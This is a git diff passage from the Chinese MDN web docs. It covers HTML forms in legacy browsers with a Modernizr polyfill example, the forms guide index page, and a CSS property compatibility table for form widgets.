给予你的工程限制来选择上述任一种解决方案。

+ +

让我们过一遍CSS

+ +

HTML表单和旧式浏览器最大的问题是CSS的兼容性。正如你可以从这篇文章 Property compatibility table for form widgets 中看到的复杂性, 它非常的困难。即使仍然可以对文本元素(如大小、字体颜色等)进行一些调整,但那样做会有副作用。最好的办法还是不要美化HTML表单小组件。但你仍然可以将样式应用到表单周围的项目上。如果你是一个专业人士,并且你的客户需要那么做,在这种情况下,你可以研究一些硬技能,如 rebuilding widgets with JavaScript。但在那种情况下,最好还是毫不犹豫的让客户收回这些愚蠢的决定

+ +

功能检测和模拟(polyfills)

+ +

尽管JavaScript在现代浏览中是非常棒的技术,但在旧式浏览器中可能存在很多的问题。

+ +

Unobtrusive JavaScript

+ +

API的兼容性是最大的问题。由于这个原因,与"不引人注意的(unobtrusive)" JavaScript一起工作被认为是最佳实践(译者注:此处意思是说没有/忽略JS或JS出了问题也能工作)。这个开发模式定义了两个需求:

+ + + +

The principles of unobtrusive JavaScript (最早是由Peter-Paul Koch为 Dev.Opera.com 所撰写,现在已转移到 Docs.WebPlatform.org) 同样阐述了上述观点。

+ +

Modernizr 库

+ +

有很多情形,好的"polyfill"能通过提供缺少的API以提供帮助。一个 polyfill 是一些JavaScript(脚本) 用于填补旧式浏览器中的功能缺失。虽然它们可以用来改进对任何功能的支持,并且使用它们Nederland风险小于CSS和HTML,然而,JS仍然会在很多情况下不工作(网络问题,脚本冲突等)。但是对于JavaScript,如果你总是记住和unobetructive的Javascript一起工作,不适用polyfill也没什么大不了。

+ +

最好的polyfill缺失API的方式是使用Modernizr 库以及它的子项目 YepNope. Modernizr 库允许您测试功能可用性,以便采取相应的行动。YepNope 是一个条件加载库。

+ +

下面是一个例子:

+ +
Modernizr.load({
+  // 这会测试您的浏览器是否支持HTML5表单验证API
+  test : Modernizr.formvalidation,
+
+  // 如果浏览器不支持它,则会加载以下polyfill
+  nope : form-validation-API-polyfill.js,
+
+  // 无论如何,你的核心App文件依赖于该API被加载
+  both : app.js,
+
+  // 一旦加载了这两个文件,就会调用该函数来初始化应用程序
+  complete : function () {
+    app.init();
+  }
+});
+ +

Modernizr 团队按照惯例维护着a list of great polyfills。仅仅按需使用即可。

+ +
+

Note: Modernizr还有其他很棒的功能可以帮助您处理unobstructive的JavaScript和优雅的降级技术。请阅读 Modernizr documentation.

+
+ +

注意性能

+ +

尽管像Modernizr这样的脚本对性能非常敏感,但加载200千字节的polyfill仍然会影响程序的性能。这对旧式浏览器来说尤其重要,这些浏览器有处理速度非常慢的JavaScript引擎,让polyfills的执行对于用户来说变得很痛苦。性能本身就是一个主题,但旧式浏览器对它非常敏感:基本上,它们速度慢,需要的poliyfill越多,它们需要处理的JavaScript越多。与现代浏览器相比,它们承受双重负担。使用旧版浏览器测试你的代码,了解它们的实际表现。有时,放弃某些功能会带来更好的用户体验,而不是在所有浏览器中具有完全相同的功能。作为最后提醒,总是优先考虑用户。

+ +

总结

+ +

正如你所看到的,处理旧式浏览器不仅仅是表单问题。而是一整套技术;但是掌握所有这些技术超出了本文的范围。

+ +

如果你阅读了HTML Forms guide中的所有文章,你应该可以放心的使用表单了。如果你想探索新技术,请帮助improve the guide.

+ +

{{PreviousMenuNext("Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/zh-cn/learn/forms/index.html b/files/zh-cn/learn/forms/index.html new file mode 100644 index 0000000000..ad51eafa35 --- /dev/null +++ b/files/zh-cn/learn/forms/index.html @@ -0,0 +1,77 @@ +--- +title: HTML表单指南 +slug: Learn/HTML/Forms +tags: + - Forms + - HTML + - NeedsTranslation + - TopicStub +translation_of: Learn/Forms +--- +
{{LearnSidebar}}
+ +

这个模块提供了一系列帮助您掌握HTML表单的文章。HTML表单是与用户交互的强大工具;然而,由于历史和技术上的原因,如何充分发挥它们的潜力并不总是显而易见的。在本指南中,我们将介绍HTML表单的所有方面,从结构到样式,从数据处理到自定义小部件。

+ +

预备知识

+ +

在开始这个模块之前,您至少应该完成我们对HTML的介绍。此时此刻,您应该会发现{{anch("基本指南")}}很容易理解,并且能够使用我们的原生表单小部件指南。

+ +

但是模块的其余部分更高级一些,很容易将表单小部件放在页面上,但是如果不使用高级表单特性、CSS和JavaScript,就不能对它们做太多的工作。因此,在您查看其他部分之前,我们建议您先离开,先学习一些CSSJavaScript

+ +
+

注意:如果您正在使用一个不能让您创建自己的文件的计算机/平板电脑/其它设备,那么您可以尝试(大多数)在线编码程序中的代码示例,例如JSBinThimble

+
+ +

基本指南

+ +
+
你的第一个HTML表单
+
本系列的第一篇文章提供了您第一次创建HTML表单的经验,包括设计一个简单表单,使用正确的HTML元素实现它,通过CSS添加一些非常简单的样式,以及如何将数据发送到服务器。
+
如何构造HTML表单
+
有了基础知识,我们现在更详细地了解了用于为表单的不同部分提供结构和意义的元素。
+
+ +

什么表单小部件可用?

+ +
+
原生表单小部件
+
现在,我们详细研究了不同表单部件的功能,查看了哪些选项可用于收集不同类型的数据。
+
+ +

验证和提交表单数据

+ +
+
发送表单数据
+
本文讨论当用户提交一个表单时,会发生什么情况——表单数据的去向以及当表单数据到达指定位置时我们如何处理?我们还研究了与发送表单数据相关的一些安全问题。
+
表单数据验证
+
发送数据还不够,我们还需要确保数据用户填写表单的格式是正确的,我们需要成功地处理它,而且它不会破坏我们的应用程序。我们还希望帮助用户正确填写表单,在使用应用程序时不要感到沮丧。表单验证帮助我们实现这些目标,本文将告诉您需要了解的内容。
+
+ +

高级指南

+ +
+
如何构建自定表单小组件
+
在某些情况下,原生表单部件无法提供您需要的东西,例如,由于样式或功能。在这种情况下,您可能需要使用原生HTML构建自己的表单小部件。本文将说明您是如何做到这一点的,以及在实际案例研究中需要注意的事项。
+
通过JavaScript发送表单
+
本文将讨论如何使用表单来组装HTTP请求,并通过定制的JavaScript发送它,而不是标准的表单提交。它还研究了为什么要这么做,以及这样做的意义。(请参阅使用FormData对象。)
+
遗留浏览器中的HTML表单
+
文章覆盖特性检测等。这应该被重定向到跨浏览器测试模块,因为相同的东西在那里被更好地覆盖。
+
+ +

表单样式指南

+ +
+
HTML表单样式
+
本文介绍了使用CSS的样式表单,包括您可能需要了解的基本样式任务的所有基础知识。
+
高级HTML表单样式
+
在这里,我们将看到一些更高级的表单样式技术,这些技术需要在处理一些更难以风格的元素时使用。
+
表单部件的属性兼容性表
+
这最后一篇文章提供了一个方便的参考,允许您查看哪些CSS属性与哪些表单元素是兼容的。
+
+ +

另见

+ + diff --git a/files/zh-cn/learn/forms/property_compatibility_table_for_form_controls/index.html b/files/zh-cn/learn/forms/property_compatibility_table_for_form_controls/index.html new file mode 100644 index 0000000000..31f8075f5b --- /dev/null +++ b/files/zh-cn/learn/forms/property_compatibility_table_for_form_controls/index.html @@ -0,0 +1,1988 @@ +--- +title: 表单组件兼容性列表 +slug: Learn/HTML/Forms/Property_compatibility_table_for_form_widgets +translation_of: Learn/Forms/Property_compatibility_table_for_form_controls +--- +
{{learnsidebar}}{{PreviousMenu("Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}
+ +

下面的兼容性表格尝试总结 HTML 表单的 CSS 支持状况。由于 CSS 和 HTML 表单的复杂性,不能把这些表格当作完善的参考。但是,它们可以让你很好地洞察什么能做什么不能做,这将会对你学习使用有很好地帮助。

+ +

如何阅读表格

+ +

+ +

对于每个属性,有四种可能地取值:

+ +
+
YES
+
此属性具有相当一致的跨浏览器支持。在某些极端情况下,你可能仍然会面临奇怪的副作用。
+
PARTIAL
+
尽管这个属性会生效,你还是会经常面对奇怪的副作用和不一致性。你应该尽力避免这些属性,除非你已经深知那些副作用。
+
NO
+
此属性就是不工作或者表现得非常不一致,所以并不可靠。
+
N.A.
+
此属性对这种类型的组件没有意义。
+
+ +

渲染

+ +

对于每个属性有两种可能的渲染方式:

+ +
+
N (Normal)
+
表示这个属性会像设置的那样应用。
+
T (Tweaked)
+
表示这个属性需要通过下列的额外规则来使用:
+
+ +
* {
+/* This turn off the native look and feel on WebKit based browsers */
+  -webkit-appearance: none;
+
+/* This turn off the native look and feel on Gecko based browsers */
+  -moz-appearance: none;
+
+/* This turn off the native look and feel on several different browsers
+   including Opera, Internet Explorer and Firefox */
+  background: none;
+}
+ +

兼容性表格

+ +

Global behaviors

+ +

对许多浏览器来说,许多行为在全局范围内都是通用的:

+ +
+
{{cssxref("border")}}, {{cssxref("background")}}, {{cssxref("border-radius")}}, {{cssxref("height")}}
+
任意属性可能影响组件部分或全部的原生外观。小心使用。
+
{{cssxref("line-height")}}
+
不同浏览器支持不同,避免使用
+
{{cssxref("text-decoration")}}
+
Opera表单不支持
+
{{cssxref("text-overflow")}}
+
Opera, Safari,  IE9 表单不支持
+
{{cssxref("text-shadow")}}
+
Opera 和 IE9 不支持
+
+ +

Text fields

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}Partial[1][2]Yes +
    +
  1. WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 -webkit-appearance:none 才能将这个属性应用到搜索域上。
  2. +
  3. 在 Windows 7, Internet Explorer 9 不会应用到边框上,除非 background:none 已应用。
  4. +
+
{{cssxref("border")}}Partial[1][2]Yes +
    +
  1. WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 -webkit-appearance:none 才能将这个属性应用到搜索域上。
  2. +
  3. 在 Windows 7, Internet Explorer 9 不会应用到边框上,除非 background:none 已应用。
  4. +
+
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}Partial[1][2]Yes +
    +
  1. WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 -webkit-appearance:none 才能将这个属性应用到搜索域上。
  2. +
  3. 在 Windows 7, Internet Explorer 9 不会应用到边框上,除非 background:none 已应用。
  4. +
+
Text and font
{{cssxref("color")}}[1]YesYes +
    +
  1. 如果 {{cssxref("border-color")}} 属性没有设置,一些基于 WebKit 的浏览器会将 {{cssxref("color")}} 属性应用到边框上,颜色和 {{HTMLElement("textarea")}} 的字体颜色一样。
  2. +
+
{{cssxref("font")}}YesYes查看有关 {{cssxref("line-height")}} 的注释
{{cssxref("letter-spacing")}}YesYes 
{{cssxref("text-align")}}YesYes 
{{cssxref("text-decoration")}}PartialPartial查看有关 Opera 的注释
{{cssxref("text-indent")}}Partial[1]Partial[1] +
    +
  1. IE9 只在 {{HTMLElement("textarea")}} 上支持这个属性,而 Opera 只在单行文本域中支持。
  2. +
+
{{cssxref("text-overflow")}}PartialPartial 
{{cssxref("text-shadow")}}PartialPartial 
{{cssxref("text-transform")}}YesYes 
Border and background
{{cssxref("background")}}Partial[1]Yes +
    +
  1. WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 -webkit-appearance:none 才能将这个属性应用到搜索域上。
  2. +
  3. 在 Windows 7上, Internet Explorer 9 不会应用到边框上,除非 background:none 已应用。
  4. +
+
{{cssxref("border-radius")}}Partial[1][2]Yes +
    +
  1. WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 -webkit-appearance:none 才能将这个属性应用到搜索域上。
  2. +
  3. 在 Windows 7上, Internet Explorer 9 不会应用到边框上,除非 background:none 已应用。
  4. +
  5. 在 Opera 上,只有当边框明确设定时 {{cssxref("border-radius")}} 属性才会应用
  6. +
+
{{cssxref("box-shadow")}}NoPartial[1] +
    +
  1. IE9 不支持这个属性
  2. +
+
+ +

Buttons

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}Partial[1]Yes +
    +
  1. 这个属性不能应用于 Mac OSX or iOS 上基于 WebKit 的浏览器。
  2. +
+
{{cssxref("border")}}PartialYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}Partial[1]Yes +
    +
  1. 这个属性不能应用于 Mac OSX or iOS 上基于 WebKit 的浏览器。
  2. +
+
Text and font
{{cssxref("color")}}YesYes 
{{cssxref("font")}}YesYes查看{{cssxref("line-height")}} 的注意事项。
{{cssxref("letter-spacing")}}YesYes 
{{cssxref("text-align")}}NoNo 
{{cssxref("text-decoration")}}PartialYes 
{{cssxref("text-indent")}}YesYes 
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}PartialPartial 
{{cssxref("text-transform")}}YesYes 
Border and background
{{cssxref("background")}}YesYes 
{{cssxref("border-radius")}}Yes[1]Yes[1] +
    +
  1. 在 Opera 上,只有当边框明确设定时 {{cssxref("border-radius")}} 属性才会应用
  2. +
+
{{cssxref("box-shadow")}}NoPartial[1] +
    +
  1. IE9 不支持这个属性
  2. +
+
+ +

Number

+ +

在实现了 number 组件的浏览器上,并没有一种标准的方式改变数字组件的样式,值得注意的是 Safari 上的数字输入框不在这个范围内。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}Partial[1]Partial[1] +
    +
  1. 在 Opera 上,数字选择器缩小时,可能会隐藏域中内容。
  2. +
+
{{cssxref("border")}}YesYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}Partial[1]Partial[1] +
    +
  1. 在 Opera 上,数字选择器缩小时,可能会隐藏域中内容。
  2. +
+
Text and font
{{cssxref("color")}}YesYes 
{{cssxref("font")}}YesYes查看{{cssxref("line-height")}} 的注意事项。
{{cssxref("letter-spacing")}}YesYes 
{{cssxref("text-align")}}YesYes 
{{cssxref("text-decoration")}}PartialPartial 
{{cssxref("text-indent")}}YesYes 
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}PartialPartial 
{{cssxref("text-transform")}}N.A.N.A. 
Border and background
{{cssxref("background")}}NoNo +

支持,但浏览器之间的不一致性太多,所以并不可靠。

+
{{cssxref("border-radius")}}NoNo
{{cssxref("box-shadow")}}NoNo
+ +

Check boxes and radio buttons

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}No[1]No[1] +
    +
  1. 一些浏览器会添加额外的边缘,另一些会拉伸组件。
  2. +
+
{{cssxref("height")}}No[1]No[1] +
    +
  1. 一些浏览器会添加额外的边缘,另一些会拉伸组件。
  2. +
+
{{cssxref("border")}}NoNo 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}NoNo 
Text and font
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Border and background
{{cssxref("background")}}NoNo 
{{cssxref("border-radius")}}NoNo 
{{cssxref("box-shadow")}}NoNo 
+ +

Select boxes (single line)

+ +

Firefox 不提供任何方式改变 {{HTMLElement("select")}} 元素的下箭头。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}Partial[1]Partial[1] +
    +
  1. 这个属性在 {{HTMLElement("select")}} 元素上一切正常,但不能用于 {{HTMLElement("option")}} 或者 {{HTMLElement("optgroup")}} 元素。
  2. +
+
{{cssxref("height")}}NoYes 
{{cssxref("border")}}PartialYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}No[1]Partial[2] +
    +
  1. 属性可以应用,但 Mac OSX 上浏览器之间的以不一致的方向显示,所以并不可靠。
  2. +
  3. 这个属性在 {{HTMLElement("select")}} 元素上一切正常,但不能用于 {{HTMLElement("option")}} 或者 {{HTMLElement("optgroup")}} 元素。
  4. +
+
Text and font
{{cssxref("color")}}Partial[1]Partial[1] +
    +
  1. 在 Mac OSX 上, 基于 WebKit 的浏览器 不支持将这个属性用于原生组件。它们和 Opera, 在 {{HTMLElement("option")}} 和 {{HTMLElement("optgroup")}} 元素上根本不支持这个属性。
  2. +
+
{{cssxref("font")}}Partial[1]Partial[1] +
    +
  1. 在 Mac OSX 上, 基于 WebKit 的浏览器 不支持将这个属性用于原生组件。它们和 Opera, 在 {{HTMLElement("option")}} 和 {{HTMLElement("optgroup")}} 元素上根本不支持这个属性。
  2. +
+
{{cssxref("letter-spacing")}}Partial[1]Partial[1] +
    +
  1. IE9 不支持将这个属性用于 {{HTMLElement("select")}}, {{HTMLElement("option")}}, 和 {{HTMLElement("optgroup")}} 元素;Mac OSX 上基于 WebKit 的浏览器不支持将这个属性应用于 {{HTMLElement("option")}} 和 {{HTMLElement("optgroup")}} 元素。
  2. +
+
{{cssxref("text-align")}}No[1]No[1] +
    +
  1. Windows 7 上的 IE9 和 Mac OSX 上基于 WebKit 的浏览器,不支持这个组件上的这个属性。
  2. +
+
{{cssxref("text-decoration")}}Partial[1]Partial[1] +
    +
  1. 只有 Firefox 提供了对这个属性的完全支持。Opera 根本不支持这个属性,而其他浏览器只提供了对 {{HTMLElement("select")}} 元素的支持。
  2. +
+
{{cssxref("text-indent")}}Partial[1][2]Partial[1][2] +
    +
  1. 大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。
  2. +
  3. IE9 不支持这个属性
  4. +
+
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}Partial[1][2]Partial[1][2] +
    +
  1. 大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。
  2. +
  3. IE9 不支持这个属性
  4. +
+
{{cssxref("text-transform")}}Partial[1]Partial[1] +
    +
  1. 大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。
  2. +
+
Border and background
{{cssxref("background")}}Partial[1]Partial[1] +
    +
  1. 大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。
  2. +
+
{{cssxref("border-radius")}}Partial[1]Partial[1]
{{cssxref("box-shadow")}}NoPartial[1]
+ +

Select boxes (multiline)

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}YesYes 
{{cssxref("border")}}YesYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}Partial[1]Partial[1] +
    +
  1. Opera 在 {{HTMLElement("select")}} 元素上 不支持 {{cssxref("padding-top")}} 和 {{cssxref("padding-bottom")}} 。
  2. +
+
Text and font
{{cssxref("color")}}YesYes 
{{cssxref("font")}}YesYes查看{{cssxref("line-height")}} 的注意事项。
{{cssxref("letter-spacing")}}Partial[1]Partial[1] +
    +
  1. IE9 在 {{HTMLElement("select")}}, {{HTMLElement("option")}}, 和{{HTMLElement("optgroup")}} 元素上不支持这个属性;Mac OSX 上基于 WebKit 的浏览器在 {{HTMLElement("option")}} 和{{HTMLElement("optgroup")}} 元素上不支持这个属性。
  2. +
+
{{cssxref("text-align")}}No[1]No[1] +
    +
  1. Windows 7 上的 IE9 和 Mac OSX 上基于 WebKit 的浏览器,不支持这个组件上的这个属性。
  2. +
+
{{cssxref("text-decoration")}}No[1]No[1] +
    +
  1. 只被 Firefox and IE9+ 支持。
  2. +
+
{{cssxref("text-indent")}}NoNo 
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}NoNo 
{{cssxref("text-transform")}}Partial[1]Partial[1] +
    +
  1. 大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。
  2. +
+
Border and background
{{cssxref("background")}}YesYes 
{{cssxref("border-radius")}}Yes[1]Yes[1] +
    +
  1. 在 Opera 上,只有当边框明确设定时 {{cssxref("border-radius")}} 属性才会应用
  2. +
+
{{cssxref("box-shadow")}}NoPartial[1] +
    +
  1. IE9 不支持这个属性
  2. +
+
+ +

Datalist

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}NoNo 
{{cssxref("height")}}NoNo 
{{cssxref("border")}}NoNo 
{{cssxref("margin")}}NoNo 
{{cssxref("padding")}}NoNo 
Text and font
{{cssxref("color")}}NoNo 
{{cssxref("font")}}NoNo 
{{cssxref("letter-spacing")}}NoNo 
{{cssxref("text-align")}}NoNo 
{{cssxref("text-decoration")}}NoNo 
{{cssxref("text-indent")}}NoNo 
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}NoNo 
{{cssxref("text-transform")}}NoNo 
Border and background
{{cssxref("background")}}NoNo 
{{cssxref("border-radius")}}NoNo 
{{cssxref("box-shadow")}}NoNo 
+ +

File picker

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}NoNo 
{{cssxref("height")}}NoNo 
{{cssxref("border")}}NoNo 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}NoNo 
Text and font
{{cssxref("color")}}YesYes 
{{cssxref("font")}}No[1]No[1] +
    +
  1. 支持,但浏览器之间的不一致性太多,所以并不可靠。
  2. +
+
{{cssxref("letter-spacing")}}Partial[1]Partial[1] +
    +
  1. 许多浏览器将这个属性应用到选择按钮上。
  2. +
+
{{cssxref("text-align")}}NoNo 
{{cssxref("text-decoration")}}NoNo 
{{cssxref("text-indent")}}Partial[1]Partial[1] +
    +
  1. 它表现的或多或少的像一个组件左侧的边缘。
  2. +
+
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}NoNo 
{{cssxref("text-transform")}}NoNo 
Border and background
{{cssxref("background")}}No[1]No[1] +
    +
  1. 支持,但浏览器之间的不一致性太多,所以并不可靠。
  2. +
+
{{cssxref("border-radius")}}NoNo 
{{cssxref("box-shadow")}}NoPartial[1] +
    +
  1. IE9 不支持这个属性
  2. +
+
+ +

Date pickers

+ +

许多属性都支持但是浏览器之间的不一致性太多,所以并不可靠。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}NoNo 
{{cssxref("height")}}NoNo 
{{cssxref("border")}}NoNo 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}NoNo 
Text and font
{{cssxref("color")}}NoNo 
{{cssxref("font")}}NoNo 
{{cssxref("letter-spacing")}}NoNo 
{{cssxref("text-align")}}NoNo 
{{cssxref("text-decoration")}}NoNo 
{{cssxref("text-indent")}}NoNo 
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}NoNo 
{{cssxref("text-transform")}}NoNo 
Border and background
{{cssxref("background")}}NoNo 
{{cssxref("border-radius")}}NoNo 
{{cssxref("box-shadow")}}NoNo 
+ +

Color pickers

+ +

There is currently not enough implementation to get realiable behaviors.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}No[1]Yes +
    +
  1. Opera 将它像一个选择组件一样,以同样的限制处理。
  2. +
+
{{cssxref("border")}}YesYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}No[1]Yes +
    +
  1. Opera 将它像一个选择组件一样,以同样的限制处理。
  2. +
+
Text and font
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Border and background
{{cssxref("background")}}No[1]No[1] +
    +
  1. 支持,但浏览器之间的不一致性太多,所以并不可靠。
  2. +
+
{{cssxref("border-radius")}}No[1]No[1]
{{cssxref("box-shadow")}}No[1]No[1]
+ +

Meters and progress

+ +

There is currently not enough implementation to get realiable behaviors.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}YesYes 
{{cssxref("border")}}PartialYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}YesPartial[1] +
    +
  1. 当 {{cssxref("padding")}} 属性应用于一个 tweaked 元素时,Chrome 会隐藏 {{HTMLElement("progress")}} 和{{HTMLElement("meter")}} 元素。
  2. +
+
Text and font
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Border and background
{{cssxref("background")}}No[1]No[1] +
    +
  1. 支持,但浏览器之间的不一致性太多,所以并不可靠。
  2. +
+
{{cssxref("border-radius")}}No[1]No[1]
{{cssxref("box-shadow")}}No[1]No[1]
+ +

Range

+ +

There is no standard way to change the style of the range grip and Opera has no way to tweak the default rendering of the range widget.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}Partial[1]Partial[1] +
    +
  1. Chrome 和 Opera 在组件周围添加了一些额外的空白,而 Windows 7 上的 Opera 则拉伸范围选择器的滑块。
  2. +
+
{{cssxref("border")}}NoYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}Partial[1]Yes +
    +
  1.  {{cssxref("padding")}} 属性被运用,但是没有任何的视觉效果。
  2. +
+
Text and font
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Border and background
{{cssxref("background")}}No[1]No[1] +
    +
  1. 支持,但浏览器之间的不一致性太多,所以并不可靠。
  2. +
+
{{cssxref("border-radius")}}No[1]No[1]
{{cssxref("box-shadow")}}No[1]No[1]
+ +

Image buttons

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}YesYes 
{{cssxref("border")}}YesYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}YesYes 
Text and font
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
